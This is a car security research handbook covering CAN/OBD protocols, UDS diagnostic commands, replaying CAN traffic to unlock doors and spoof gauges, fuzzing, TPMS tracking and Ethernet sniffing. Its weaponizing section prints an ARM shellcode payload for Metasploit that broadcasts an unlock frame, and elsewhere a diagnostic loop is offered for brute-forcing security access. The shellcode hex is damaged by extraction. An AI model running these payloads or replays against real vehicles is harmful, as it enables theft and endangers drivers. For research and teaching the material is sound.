Car hackers handbook

Read This First
Introduction
Understanding Attack Surfaces
Infotainment Systems
Vehicle Communication Systems
Engine Control Unit
CAN Bus Reversing Methodology
Breaking the Vehicle
CAN Bus Tools
Weaponizing CAN Findings
Attacking TPMS
Ethernet Attacks
Attacking Keyfobs and Immobilizers
FLASHBACK - Hotwiring
Attacking ECUs and other Embedded Systems
What does yoru hacker garage need?
Creative Commons
Table of Contents

READ THIS FIRST
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Introduction
Congratulations! You just purchased your first real Owners manual.
This manual doesn’t focus on what all those dashboard lights are,
but on how to control them.
Modern vehicle manufacturers have moved away from making it
easy to understand and custom mod your own purchased vehicle.
This book is here to help!
If you read this manual all the way through, it will detail how to
perform a full security evaluation of your vehicle. It is organized in
sections so you can go straight to the parts you care about.
Benefits of Car Hacking
Honestly, if you are holding this manual I would hope you would
have a clue why you are doing so. However, if approached and
asked why you are hacking cars, we made this handy checklist for
you to use!
Understand How Your Vehicle Works - The automotive
industry has churned out some amazing vehicles, but has
released little information on what makes them work.
Understanding how the vehicle communicates will help you
diagnose and troubleshoot car problems.
Work on the Electrical Side - As vehicles have evolved, they
have become less mechanical and more electronic.
Unfortunately these systems are typically closed off to
mechanics. While dealerships have access to more
information than you can typically get, the auto
manufacturers themselves outsource parts and require
proprietary tools to diagnose problems. Learning how your
vehicle’s electronics work can help you bypass this barrier.

Car Mods - Understanding how the vehicle communicates can
lead to much better modifications. These can improve fuel
consumption, provide third-party replacement parts, or
anything you can dream of. Once the communication
system is known, you can seamlessly integrate other
systems into your vehicle.
Discover Undocumented Features - Sometimes vehicles
come equipped with special features simply disabled or not
exposed. Discovering undocumented or disabled features
can enable you to use your vehicle to its fullest potential.
Validate the Security of your Vehicle - As of this writing, the
safety guidelines for vehicles do not address threats of
malicious electronic nature. While vehicles are susceptible
to the same malware your desktop gets, automakers are not
required to audit the security of their electronics. We drive
our families around in these vehicles. By understanding
how to hack your car you will know how vulnerable you
vehicle is and can take precautions while advocating for
higher standards.
About the Author
Craig Smith runs a research firm, Theia Labs, that focuses on
security auditing and building hardware and software prototypes.
He has worked for several auto manufacturers and provided public
research. He is also a Founder of the Hive13 Hackerspace and
Open Garages (@OpenGarages). His specialties are reverse
engineering and penetration testing. This manual is largely a
product of Open Garages and the desire to get people up to speed
on auditing their vehicle.
How to Contribute
This manual doesn’t cover everything. We may miss great tricks or

awesome tools. Car hacking is a group activity and we welcome all
feedback. Please join the Open Garages mailing list or send email
directly to the author (craig at theialabs.com). You can also contact
http://www.iamthecavalry.org/ and join their mailing list for ways to
get involved.
We are always looking for guest authors to contribute to new
chapters in the next release of this book. We welcome all feedback
on existing chapters as well as suggestions on new ones. Please
feel free to reach out to Theia Labs or OpenGarages.

Understanding Attack Surfaces
If you come from the software penetration-testing world you
probably already get this. For the rest of us, attack surface means all
the possible ways to attack a target. The target could be a
component or the entire vehicle. At this stage we do not consider
how to exploit any piece of the target, we are only concerned with all
the “entry points” into it.
Think of yourself as an evil spy, trying to do bad things to the
vehicle. To find the weaknesses, evaluate the perimeter and
document the environment. For a vehicle, we need to consider all
the ways data can get into the vehicle – that is, all the ways the
vehicle communicates with the outside world.
From outside the vehicle:
- What signals are received? Radio waves? Keyfobs? Distance
sensors?
- Physical keypad access?
- Touch or motion sensors?
- If electric, how does it charge?
From inside the vehicle:
- Audio input options: CD? USB? Bluetooth?
- Diagnostic ports?
- What are the capabilities of the dashboard? GPS? Bluetooth?
Internet?
Once you have thought about this, you should have realized there
are a LOT of ways data can enter the vehicle. If any of this data is
malformed or intentionally malicious, what happens?

Threat Modeling
Whole books are written on Threat Modeling. We are going to just
give you a quick tour so you can build your own. If you have further
questions or if this section excites you, then by all means, grab
another book on the subject.
Threat Modeling is taking a collection of information about the
architecture of your target and drawing it out with connecting lines
to show how things communicate. These maps are used to identify
higher-risk inputs and are a great way to keep a checklist of things
to audit, letting you prioritize entry points that could yield the most
return.
Threat models are done in levels, starting at 0.
Level 0 – Bird’s-eye view
Here is where we'll use the checklist of the last section on Attack
Surfaces. You need to think about all how data can enter your
vehicle. Draw your vehicle in the center, and then label the left
“outside” and the right “inside,”
Below is an example of a possible level 0 diagram:

If we are doing a full system audit, then this will become our
checklist of things we need to ensure get love. Number each input.
You could technically stop here, but it would be better to at least
pick one of these that interests you and do a Level 1 diagram.
Level 1 - Receivers
Now let’s focus on what each input talks to. This map is almost
identical to Level 0 except this time we specify the receiving end.
Don’t go too deep into the receivers just yet. We are only looking at
the basic device or area the input talks to.
Here is the level 1 diagram:
Here you can see the grouping on the Infotainment center. Notice
how each receiver is now numbered. The first number represents

the label from the level 0 diagram and the second number is the
number of the receiver.
The dotted lines represent trust boundaries. The top of the diagram
is the least trusted and the bottom is the most trusted. The more
trust boundaries a communication channel crosses, the more risky it
becomes. We will focus on 1.1, the Infotainment console, for the
Level 2 diagram.
Level 2 - Receiver breakdown
Now we are getting to the level where we can see communication
taking place inside the vehicle. We are focusing on the infotainment
because it is one of the more complicated receivers and it is directly
connected to the CANBus network.
Here we group the communications channels in dotted-line boxes to
represent the trust boundaries. There is a new trust boundary
inside the Infotainment Console labeled “Kernel Space.” Systems
that talk directly to the kernel hold a higher risk than ones that talk

to system applications. Here you can see that the Cellular channel
is higher-risk than the WiFi channel. Also, notice the numbering
pattern is X.X.X, the identification system is still the same as before.
At this stage we have to guess for now. Ideally you would map out
what processes handle which input. You will need to reverse-
engineer the infotainment system to find this information. Later in
this manual, we’ll offer a procedure for doing just that.
Threat models are considered living documents. They change as
the target changes or as you learn new things about the target.
Update your threat model often, and if a process is complicated,
build down a few more levels of diagrams. In the beginning, Level
2, is about as far as you will be able to go.

Infotainment Systems
Infotainment System is the name often given to that touchscreen
interface in the middle console. These are often running an OS such
as Windows CE or Linux. These units support a variety of features
and have different levels of integration with the vehicle.
There are typically physical inputs:
USB Port
Auxiliary Jack
CD-ROM
DVD
Touchscreen, buttons, etc.
And wireless inputs:
Bluetooth
WiFi
Cell Connection
GPS
XM
Remote Control
Key connected outputs:
CANBus network
Ethernet
High speed media bus
Some systems use Ethernet to communicate between high-speed
devices. This can be normal IP traffic of CAN over Ethernet such as
NTCAN or ELLSI. CAN is how the core vehicle communicates to all of
its parts. This is detailed later in this manual.

Determine the target architecture
The first thing you need to know is, what is the system running? The
easiest method is to search for the brand of the display. If it is not
printed on the outside, check for a screen that reports software
version numbers. This will often tell you what the device is called.
Look online to see if anyone else has already done this research or
at least started on it. Also check to see if the system is a third- party
unit that has its own website and firmware updates. Download any
pieces of firmware or tools you see at this stage.
One thing to look for is how the system gets updated. Often there is
a map update service for which the dealer usually charges extra.
What are the other methods of update? Even if the method is over
the air, there is usually a backup such as a USB drive or a DVD Map
CD.
Below is an example of an infotainment unit found in a Honda Civic.

There is a normal CD tray for music, easily visible on the top, plus a
hidden plastic door at the bottom that folds down to reveal a DVD
tray holding the Map software.
Analyze the updates
Often the updates are delivered as compressed files. These could
be zip or CAB files but they might not have the proper extension.
You can view the headers with a hex editor or use a tools such as
“file” available on *nix based systems to identify the file. Typically
seeing .EXE or .DLLs are a good indication this is a Windows-based
system. Executable headers also report what architecture
something is. The file command will also report the architecture
such as ARM or (as with this Honda Civic) a Hitachi SuperH SH-4
Processor. This information is useful if you want to compile new
code for the device or if you plan on writing or using an exploit
against this device.
Modify the system
Once you know the OS, architecture and update method, the next
thing to do is to see if you can use this information to modify the
system. Some updates are “protected” by being signed. These can
be tricky to update. Often there is no protection or a simple MD5
hash check. The best way to find these is to modify the existing
update software and trigger an update.
A good starting check is to see if you can locate something visual
such as a splash screen or icon. Modify the image, reburn the
update DVD, and force a system update. Forcing a system update is
typically in the infotainment system’s manual. If the files were
compressed in a single archive, you will need to recompress the
modified version so the update appears the same as before you
modified it. If there are additional checks such as MD5s, you will

usually get a message on the screen saying a checksum has failed.
If you run into a checksum issue then look for a file in the update
that might be an obvious place to store a hash. It maybe a text file
that has a filename next to something that looks like
4cb1b61d0ef0ef683ddbed607c74f2bf. You will need to also update
this file with the hash of your new modified image. To determine
what algorithm is being used to create the hash you can run the
“strings” command on some of the binaries or DLLs looking for
things like MD5 or SHA. If you are familiar with hashes, then the
size of the hash is often a giveaway for which one is being used. If it
is a small hash like d579793f it is probably a CRC32 or custom hash.
A custom hash will take digging into with a disassembler, such as
IDA Pro.

Apps and Plugins
Some systems allow third-party applications on the device. This is
often handled through an app store or a dealer-customized
interface. Look into modifying an existing plugin or creating your
own. There is often a method for developers to sideload apps for
testing. This can be a great way to execute code to further unlock
the system.
Success!
Once you have modified the splash screen, company logo, warranty
message, etc. You are ready to modify or upload your own binaries.
What you do from here depends on your ultimate goal. If you are
looking for existing vulnerabilities in the infotainment unit, then the
next goal is to pull all the binaries off the system so you can analyze
them for vulnerabilities. This research is already covered in great
detail in many other books.
Check the versions of binaries and libraries on the system. Often,
even with map updates, the core OS is rarely updated. There is a
good chance an already identified vulnerability exists on the
system. There might even be a Metasploit exploit for the system
already!
If your goal was to make a malicious update that wiretapped the
Bluetooth driver, you are well on your way there! The only piece
you may still need would be the SDK used to compile the target
system. Often the infotainment OS is built using a standard SDK
such as the Microsoft Auto Platform. Getting your hands on one of
these makes this task much easier, although not required.

All these hacks can be done without removing the unit. However,
you could dig even deeper by taking the unit out and going after the
chips and memory directly. See the section on ECU and other
embedded system hacking.

Vehicle Communication Systems
In the next few sections we will talk about the different protocols
common in vehicle communications. Your vehicle may only have
one of these, or if it is old it may have none.
CANBus - This has been a standard for US cars and light trucks
since 1996, but was not mandatory until 2008 (2001 for
European vehicles). If your car is older, it still may have CAN
but you must check.
LINBus - Cheap serial communication for non-critical systems.
In a perfect world this would not be around any more, but It
still shows up even in modern cars.
MOST - Media Oriented System Transport. This is a multimedia
bus.
FlexRay – High-speed bus for critical components, found in
BMW SUVs.
Ethernet - This is used for high-speed communication such as
the MOST Bus. This often is not documented and will only
be discovered during the analysis. These do not look like
your standard twisted pair network wires but are an
industrial cable such as the RJFRB connector. MOST also
runs over fiber.
TPMS - This is how your tires report they are running low on
air. If you vehicle tells you that the tires are low, then you
have TPMS.
Immobilizers - These have been mandatory in most countries
since 1998. If you know your ignition key sends an RFID to
allow the engine to start, then you have one. Is your
ignition key expensive to replace? You most likely have this.
V2V - Vehicle to Vehicle communication is too new for this
manual, but stay on the lookout for vehicles rolling out of
the factory with an 802.11 type protocol to create a mesh
network between vehicles. It should be a lot of fun.

BUS Communication Protocols
CAN Bus
CAN is short for Controller Area Network. It’s a simple protocol
used in manufacturing and in the automobile industry. A vehicle is
full of little embedded systems and controller units (ECUs). These
all communicate using the CAN protocol.
CAN runs on two wires, CAN HIGH (CANH) and CAN LOW (CANL).
CAN uses differential signalling. This means that when a signal
comes in it raises the voltage on one line and drops the other line
an equal amount. Differential signalling is used in environments
that must be fault-tolerant to noise. See the image below for a
sample CAN signal:

CAN can be easy to find when
hunting through cables because its
resting voltage is 2.5V. When a
signal comes in, it will add or
subtract 1V (3.5V & 1.5V).
Vehicles come equipped with an OBD-II port directly under the
steering column. You may have to hunt around in the steering
wheel well to find it but it has this shape:
CAN Pins Cable View
The connector can offer access to more than one bus. Often there is
a mid-speed bus and a low-speed bus.
CAN High and CAN Low are on pins 6 and 14.
CAN Bus Packet layout
There are two types of CAN packets, standard and extended.
Standard is a simple format.

Image from: http://en.wikipedia.org/wiki/File:CAN-Bus-
frame_in_base_format_without_stuffbits.svg
There are three key elements to this packet:
Arbitration ID - This is an identifier. It’s not really a source or
destination ID like in a network packet but more of a
“subject” ID. It is technically the ID of the device trying to
communicate but one device can send multiple arbitration
IDs. If two CAN packets are sent at the same time, the one
with the lower arbitration ID wins.
IDE - Identifier extension. This bit is ALWAYS 0 for standard
CAN
DLC - Data Length Code. This is the size of the data.
Data - This is the data itself. The max size is 8 bytes. This is
variable length but some systems pad the end.
An Arbitration ID is a broadcast message and different controllers
filter out only the ones they care about. All controllers on the same
network see every packet! There is no indication which controller
(or attacker) sent what. It’s kind of like UDP, if someone thought
UDP was too complicated.

There are also extended packets. This happens
with the Remote Transmission Request (RTR) is
1.
Extended CAN packets are very similar to normal CAN packets but
chain multiple packets together to make a longer message. Here
are the key differences:
SRR is in place of RTR and is always 1
IDE is always 1
18 Bit Identifier - second part of the 11-bit identifier.
Other than that the CAN packet is basically the same.
Other protocols, such as SAE J1850 and KWP2000, may also be
present on your vehicle. These are still CAN buses, but the
protocols describe different ways to communicate at the physical
bus layer.
CANOpen
It is possible to put protocols on top of CAN. One such example is
the CANOpen protocol. They key information for CANOpen is that
it breaks down the 11-bit identifier to a 4-bit function code and 7-
bit node id. This combo is known as a Communication Object
Identifier or COB-ID. A broadcast message on this system has 0x
for both the function code and the node id. Seeing a bunch of
Arbitration IDs of 0x0 is a good indicator that the system is using
CANOpen for communications. CANOpen is to normal CAN but has
a defined structure around it. Heartbeat messages are in the
format of 0x700 + node id. CANOpen networks are slightly easier
to reverse and document. CANOpen is seen more in industrial
settings than automotive.

SAE J1850
There are two types of J1850 protocols, PWM and VPW.
PWM Pins Cable View
PWM uses differential signaling on pins 2 and 10 and is mainly used
by Ford. PWM operates with a high voltage of 5V,,
VPW only uses pin 2 and is typically used by GM. VPW has a high
voltage of 7V.
ISO9141-2 K-Line and KWP2000
KWP2000 uses pin 7 and is common in US vehicles after 2003. It
has two variations of the protocol that mainly differ in only baud
initialization.
- ISO 14230-4 KWP (5 baud init,10.4 Kbaud)
- ISO 14230-4 KWP (fast init,10.4 Kbaud)
Messages may contain 255 bytes.
ISO9141-2 K-Line uses both pin 7 and optionally 15. This protocol is
seen more in European vehicles. K-Line is also a Uart protocol
similar to serial. Message length can be 260 bytes.

KWP K-Line Pins Cable View
OBD-2 Connector Pinout Map
The other pins in the pinout are manufacturer specific. Below are
possibilities based on manufacturer, However, these are just
guidelines. Your make and model could differ from the below
examples.
Here is an example of a GM pinout
Complete OBD Pinout Cable View

Notice you can have more than one CAN line such as a low-speed
(LS CAN) or mid-speed (MS CAN) . Low-speed operates around
33Kbps, mid-speed is around 128Kbps and high-speed (HS CAN) is
around 500Kbps.
Often you will use a DB9 to OBD2 connector. Below is the plug
view, not the cable.
Typical DB9 Connector Plug View
* Means that pin is optional. A DB9 Adapter can have as few as 3 pins
connected.
Unified Diagnostic Service
Unified Diagnostic Service (UDS) is a system to provide a uniform
way to see what is going on with the vehicle. The idea is that mom-
and-pop mechanics should be able to work on vehicles without
having to pay huge license fees to use the auto manufacturers’
proprietary packet layouts. The reality, however, is that auto
manufacturers set packets that vary for each make and model, and
sell dealer licenses to this information. UDS just works as a gateway
to convert some of this information and make it readable to others.

It does not affect how the vehicle operates. It’s basically a read-
only view into what is going on.
As a hacker we don’t really care about UDS. We care about the
packets actually affecting what the car does. However, there are
some useful codes you should know:
Standard UDS Query:
$ cansend can0 7df#02010d
Replies similar to 7e8 03 41 0d 00
The breakdown is 7df is the OBD diagnostic. 02 is the size of the
packet. 01 is the mode (show current data) and 0d is the service
(vehicle speed). The response adds 0x8 to the ID (7e8) the next
byte is the size of the response. Responses then add 0x40 to the
type of request (0x41) in this case. Then the service is repeated
followed by the data for the service. In the above example the
vehicle was not moving.
Some useful modes:
0x01 - Show current data
0x02 - Show freeze frame data
0x03 - Show stored diagnostic trouble codes
0x07 - Show pending diagnostic codes
0x08 - Control operations of onboard component/system
0x09 - Request vehicle information
0x0a - Permanent diagnostic codes

Modes above 0x10 are proprietary codes. However here are some
common ones (ISO - 14229):
0x10 - Initiate diagnostics
0x11 - ECU Reset
0x14 - Clear Diagnostic Codes
0x22 - Read Data by ID
0x23 - Read Memory by Address
0x27 - Security Access
0x2e - Write Data by ID
0x34 - Request Download
0x35 - Request Upload
0x36 - Transfer Data
0x37 - Request Transfer Exit
0x3d - Write Memory By Address
0x3e - TesterPresent
For a list of Service PIDs to query see the wikipedia page:
http://en.wikipedia.org/wiki/OBD-II_PIDs
TesterPresent keeps the car in a diagnostic state. It works as a
heartbeat so you will need to transmit it every 1-2 seconds.
#!/bin/sh
while :
do
cansend can0 7df#013e
sleep 1
done
This simple script will keep the car in a diagnostic state. Useful for
flashing ROMs or brute forcing.

ReadDataByID is for reading data by a Parameter ID (PID). This is
how you query devices for information. 0x01 is the Standard query
however 0x22 is the enhanced version and can lead to additional
information not available with standard OBD tools. Service PIDs
can be found in the wiki page mentioned earlier.
SecurityAccess (0x27) is used to access more protected pieces of
information. This can be a rolling key but the important thing is the
controller will respond if successful. So if you send a key of 0x1 and
it is correct you will receive an 0x2 in return. Some actions such as
flashing ROMs will require you send a SecurityAccess request. If
you don’t have the algorithm for the challenge response then you
will need to brute force this.

Engine Control Unit
The Engine Control Unit (ECU) is the brains to the vehicle. There are
many control units in a vehicle, and groupings of these units are
called modules. For instance, the ECU is supported by the
Transmission Control Unit (TCU) and the two are called the
Powertrain Control Module (PCM). User-related control units are
typically grouped as the Body Control Module (BCM).
Modules often use more than one network to communicate. Critical
modules will be on a high-speed bus while non-critical ones (such
as the dome light) will be on the low-speed bus. Buses can be
connected by gateways. Gateways may act as a firewall between
two networks by changing the packets or only allowing certain
packets through.
Building an ECU Test Bench
A great way to work on learning the CAN bus and building custom
tools is to build a ECU Test bench. This is nothing more than the
ECU, power supply, (optional) power switch and a OBD-II connector
port. You can add other things such as the Instrument Cluster (IC)
or other CAN-related systems for testing .
When you head to the junkyard, the ECU is typically behind the
radio in the center console, but in some vehicles it is behind the
glove box. If you are pulling one out yourself this should only cost
around $150 . Make sure you pull it from a vehicle that supports
CAN!

Basic ECU test bench
Now that you have your ECU, you will notice there are a LOT of
wires coming out of it. You need to locate a wiring diagram for the
ECU you have. Unfortunately, these are not easy to read.
You can get pinouts for several different vehicles from:

http://www.innovatemotorsports.com/resources/ecu_pinout.php.
You can use commercial resources such as Alldata and Mitchell to
get wiring diagrams as well.
Wire the CAN to the proper ports of the connector (Discussed in the
OBD-II Connector Map Section). If you can grab a power supply
from an old PC, you will be set. When you provide power and add a
CAN sniffer, you should see packets. You could use just a simple
OBD2 Test connector. NOTE: Your MIL (engine light) will most likely
be reported as on.

CAN Bus Reversing Methodology
We don’t care about the official diagnostic CAN packets because
they are primarily a read-only window. What we want to know is
ALL the other packets that flood the CAN Bus. This information is
very costly, even though it is critical to understanding why your car
is behaving the way it is.
Locate the CAN wires
The first things you need to do is locate CAN. You can look at the
OBD-2 Connector Pinout Map if you want to go at it through the
diagnostic port. However sometimes you don’t have access to the
OBD-2 Port or you are looking for some hidden CAN signals. Here
are tricks to locate the wires for CAN.
- Use a multimeter to check for a 2.5V baseline voltage (can be
difficult because the bus is often noisy)
- You can also use a multimeter to check for Ohm resistance.
The CAN Bus uses a 120-ohm terminator so you will look
for 60 ohms between the two cables.
- You can use a 2-channel oscilloscope and subtract the
difference of the two wires. Get a constant because the
differential signals should cancel each other out.
CAN wires are often paired and twisted. The CAN bus is usually
silent if the car is not on. Something as simple as inserting the keys
or pulling up on the door handle will usually wake the vehicle so
you can see signals again.
How to Monitor CAN to Reverse Communications
You will want a device designed to monitor and can generate CAN
packets. There are a TON of these devices on the market. They
have cheap OBD-II devices for under $20 that technically will work
but the sniffer is slow and it will miss a lot of packets. It’s always
best to have one as open as possible (Open Source Hardware and

Software would be ideal) but if you have a device specifically made
to sniff can it should work all the same.
Standard network sniffers like Wireshark will stream all the traffic
and decode it to the screen. This method will not work for CAN.
This is because CAN packets are unique for every make and model
of vehicle (except the standard diagnostic codes). You cannot use a
generic decoding method without knowing the make and model of
car; in addition, the way CAN communicates makes stream data
inefficient.
Devices on a CAN network often pulse at set intervals or are
triggered by an event. This constant pulsing causes too much noise
to stream the data. A good CAN sniffer will group changes based
on the arbitration ID, only highlighting the portions of data that
have changed since the last time the packet was seen.
CANiBUS Screenshot
The next most important thing is the ability to record and playback
packets. The first step in reversing how your car works is to pick

something simple that will most likely only toggle a single bit. A fun
one is the unlock door code.
Example Toggle Method - Unlock Door Code
There is a ton of changing data on the CAN bus. So looking for a
single-bit change can be very difficult even with a good sniffer. Here
is a universal way to locate most CAN packets.
1. Press Record
2. Perform Action (Unlock Door)
3. Stop Record
4. Press playback
5. Did it unlock?
If it did not, then a few things might be wrong. You may have
missed it in the recording. Playback may have caused a collision
and the packet got stomped on; try to replay a few times to ensure
it is not working. If you cannot seem to record it, then the most
likely scenario is that message is on a different CAN Bus than the
one you are monitoring, or the device is hardwired to the button.
This can be the case with the driver’s-side door button. Try
unlocking the passenger door instead.
Once you have a recording that performs the desired action, use
this method to filter out the noise and locate the exact packet and
bits used to unlock the door.

When you are down to one packet, figure out which bit(s) are being
used to unlock the door. The quickest way is to go back to your
sniffer and filter on the newly
identified arbitration ID. Now press
Unlock and the bit (or byte) that
changed should highlight. Try to
unlock the back doors and see how
the bytes change. You should now
be able to tell exactly what bit must
be changed to unlock each door.
Example Variable Data - Tachometer Reading
Obtaining information on the Tachometer or the speed of the
vehicle can be achieved in the same way as unlocking the doors.
The diagnostic codes report speed of the vehicle, but cannot be
used to set how the speed shows up (and what fun is that?)t. So

we need to find out what the vehicle is using to control the readings
on the Instrument Cluster (IC).
The RPM values will not be a hex equivalent of the reading. To save
space this number is shifted. For the UDS protocol this value is
actually:
((<FIRST BYTE>*256)+<SECOND BYTE>)/4
To make matters even worse, you often can’t query the diagnostic
RPM while monitoring and look for the same changing of values.
This is because the vehicle often uses its own formula to compress
this value. The diagnostics values are set, but again, this is not what
the vehicle is using. So we need to find the real value. Put the car
in Park before you do this. You may want to lift the vehicle off the
ground or put it on rollers first.
1. Press Record
2. Perform Action (Press gas pedal)
3. Stop Record
4. Press playback
5. Did the tachometer or speed gauge move?
A lot of engine lights will probably flash and go crazy during this
test. That’s because there is a lot more going on than just unlocking
the car door. Ignore all the blinking warning lights and follow the
same method as before. Remember you have a much higher
chance of collisions this time, so you may have to play and record
more than before.

You should be able to find the arbitration ID that is causing the
tachometer to change. Remember the conversions mentioned
above in the values. Other bytes in this arbitration ID probably also
control the reported speed as well.
Keep in mind when testing the individual packets that you need to
continuously broadcast the spoofed speed to keep the tachometer
or speed set.
Fuzzing the CAN
This can be good to find undocumented methods. For those of you
not familiar with “fuzzing”, it’s sending random-ish data at
something and looking for it to act strange. The good news: It is
easy to make a CAN fuzzer. The bad news: It is rarely useful. This is
because some CAN packets are only visible with a moving vehicle
(very dangerous) or they are a collection of packets used to cause a
change. However it shouldn’t be out ruled as useless.

Some sniffers support fuzzing right in the tool. This is usually
represented by the ability to transmit packets with incrementing
bytes in the data section. Several open-source CAN sniffing
solutions allow easy scripting or programming such as Python.

Breaking the Vehicle
The CAN Bus and its components are fault-tolerant, however, if you
are fuzzing or replaying a large amounts of CAN data back on a live
CAN bus network, bad things will happen. Don’t panic! Some
common problems and solutions:
Instrument Cluster (IC) lights flash. This is common,
usually cleared when you restart the vehicle.
Car shuts off and won’t turn back on. Often this is
because you were doing a bunch of CAN work while
the car was not fully running and the battery died.
Draining the battery happens faster than you think.
Jump the vehicle with a spare battery.
Tried jumping vehicle and it still won’t turn on. Locate
the fuses and pull them. Look for main fuses
around major electronics. The fuse probably is not
blown -- just pull it and and put it back in to force
the problem device to restart.
The car won’t turn off! This is obviously a bad
situation, although fortunately it’s rare. Make sure
you are not flooding the CAN Bus. If you are
disconnected, then you will need to get to the fuses
and start pulling until the car goes off.
While driving, the vehicle responds recklessly. The
problem is that you are an idiot. If you must audit
a moving vehicle put it off the ground or on rollers.
Injecting random packets in a moving car is a bad
idea.

CAN BUS Tools
This is not a complete list, nor are the tools listed in any order. The
focus is on open-source tools that can be used when auditing a CAN
bus. There are many commercial applications out there as well.
- SocketCAN / CAN-utils - https://gitorious.org/linux-can/can-
utils
- CAN in the Middle - http://wiki.hive13.org/index.php/CANiTM
- CANiBUS - http://wiki.hive13.org/index.php/CANiBUS
- CHT (CAN Hacking Tool)
- GoodThopter -
http://goodfet.sourceforge.net/hardware/goodthopter12/
- Arduino CAN Shield -
https://www.sparkfun.com/products/10039
- CANBus Triple - http://canb.us/
- socketcand - CAN to TCP gateway -
https://github.com/dschanoeh/socketcand
- Kayak - Multiplatform CAN bus visualizer -
http://kayak.2codeornot2code.org/
- ICSim - Instrument Cluster Simulator -
https://github.com/zombieCraig/ICSim

Kayak CAN Visualizer
ICSim Instrument Cluster Simulator

Weaponizing CAN Findings
Exploring CAN packets is great, but you haven’t hacked anything yet.
You are still in the recon stage. Knowing the CAN packet for a target
is similar to knowing the architecture of a software platform such as
the infotainment system. Anyone in the auto industry will totally
ignore you If you report to them you can unlock or start a car using
packets designed to unlock or start the car. You have this new
power and knowledge: how can you use it? The next goal is to
weaponize these findings.
If you are familiar with software exploitation, this is exactly the
same developing shellcode. “Weaponizing” in the software world is
to take an exploit and make it easy to use. We will take something
like unlocking a car and put it into a tool designed for exploiting
software, Metasploit.
For those unfamiliar, Metasploit is a great attack framework used in
penetration testing. It has a large database of functional exploits
and payloads, and there are many references available to teach you
to use it.
If you want to weaponize you finding you will need to write code. In
this section, we will write a payload for Metasploit, targeting the
architecture of the infotainment system.
Below is a template for Metasploit. This payload should be saved in
modules/payloads/singles/linux/armle/. The below example is
designed for an infotainment system on ARM Linux with an Ethernet
bus.

payload =
"x02x00xa0xe3x02x10xa0xe3x11x20xa0
xe3x07x00x2dxe9x01x00xa0xe3x0dx10
xa0xe1x66x00x90xefx0cxd0x8dxe2x00x
60xa0xe1x21x13xa0xe3x4ex18x81xe2x0
2x10x81xe2xffx24xa0xe3x45x28x82xe2
x2ax2bx82xe2xc0x20x82xe2x06x00x2d
xe9x0dx10xa0xe1x10x20xa0xe3x07x00x
2dxe9x03x00xa0xe3x0dx10xa0xe1x66x0
0x90xefx14xd0x8dxe2x12x13xa0xe3x02
x18x81xe2x02x28xa0xe3x00x30xa0xe3
x0ex00x2dxe9x0dx10xa0xe1x0cx20xa0x
e3x06x00xa0xe1x07x00x2dxe9x09x00xa
0xe3x0dx10xa0xe1x66x00x90xefx0cxd0
x8dxe2x00x00xa0xe3x1exffx2fxe1"
Which translates to the following ARM assembler code:
/* Grab a socket handler for UDP */
mov %r0, $2 /* AF_INET */
mov %r1, $2 /* SOCK_DRAM */
mov %r2, $17 /* UDP */
push {%r0, %r1, %r2}
mov %r0, $1 /* socket */
mov %r1, %sp
svc 0x00900066
add %sp, %sp, $12
/* Save socket handler to %r6 */
mov %r6, %r0
/* Connect to socket */
mov %r1, $0x84000000
add %r1, $0x4e0000

add %r1, $2 /* 20100 &
AF_INET */
mov %r2, $0xff000000
add %r2, $0x450000
add %r2, $0xa800
add %r2, $0xc0 /* 192.168.69.255
*/
push {%r1, %r2}
mov %r1, %sp
mov %r2, $16 /* sizeof
socketaddr_in */
push {%r0, %r1, %r2}
mov %r0, $3 /* connect */
mov %r1, %sp
svc 0x00900066
add %sp, %sp, $20
/* CAN Packet */
/* 0000 0248 0000 0200 0000 0000 */
mov %r1, $0x48000000 /* Signal
*/
add %r1, $0x020000
mov %r2, $0x00020000 /* 1st 4
bytes */
mov %r3, $0x00000000 /* 2nd 4
bytes */
push {%r1, %r2, %r3}
mov %r1, %sp
mov %r2, $12 /* size of
pkt */
/* Send UDP */
mov %r0, %r6

push {%r0, %r1, %r2}
mov %r0, $9 /* send */
mov %r1, %sp
svc 0x00900066
add %sp, %sp, $12
/* Return from main - Only for
testing, remove for exploit */
mov %r0, $0
bx lr
If the infotainment center uses a CAN driver, you will need to write
to that instead of the network. Once you have a payload ready, you
can use the arsenal of Metasploit exploits against the infotainment
center and your payload. If a vulnerability is found, the payload
will run and do whatever you told it (unlock the doors, start the car,
etc.).
You need not write a Metasploit exploit to weaponize an attack. It
could just be written in assembler. I recommend Metasploit,
because having a large collection of vehicle-based payloads and
exploits available for all to use is worth the extra time it takes.

Attacking TPMS
The Tire Pressure Monitoring System (TPMS) is a simple device that
sits inside the tire. This device sends information on the tire air
pressure and other information such as rotation, temperature and
flags. The frequency varies on each device, but they typically run
on 315 Mhz or 433 Mhz UHF and either ASK or FSK modulation.
These devices have a 32-bit Unique ID registered with the ECU.
These devices are usually in a sleep state until the vehicle goes over
20/mph. A RF signal can also wake the devices. The RF signal is 125
kHz LF signal.
Here are some possible attacks:
Track vehicles - It is possible to track vehicles based on their
unique ID. Multiple sensors can be setup to track a vehicle
throughout a city. The TPMS broadcasts every 60-90
seconds, if not triggered by the RFID broadcast. You can
use a Low Noise Amplifier (LNA) to improve your range.
Triggered Events - Using the unique ID, additional events
could be triggered when the vehicle is near. Good: Open
the garage door. Evil: Detonate a roadside explosive.
Spoofing - Broadcast your own packets. This typically just
triggers a dashboard light.
Source for TPMS GNU Radio setup https://github.com/jboone/gr-
tpms, tools: https://github.com/jboone/tpms from Jared Boone's
Toorcon 15 talk. Another great white paper on the topic is “Security
and Privacy Vulnerabilities of In-Car Wireless Networks: A Tire
Pressure Monitoring System Case Study“
(http://www.winlab.rutgers.edu/~Gruteser/papers/xu_tpms10.pdf)

Ethernet Attacks
Ethernet networks in vehicles are relatively new, neither standard
nor required. The minimum network cable is four wires: TX+, TX-,
RX+, RX-. These cables are not the ones used to connect your
computer, but are used in industrial settings. Ethernet ports for
vehicles will often have jacks like the RJFRB connector.
You might have to make your own custom connector to RJ45 for
your computer to sniff and inject packets. The good news is that
you need no special sniffing equipment; use your laptop and any
network sniffer you prefer. Networks in cars will have a CAN-
Ethernet gateway, often encapsulated into UDP. If you see a lot of
UDP noise, this is most likely CAN data. You can use all the normal
CAN attacks and reversing methods on these CAN packets.
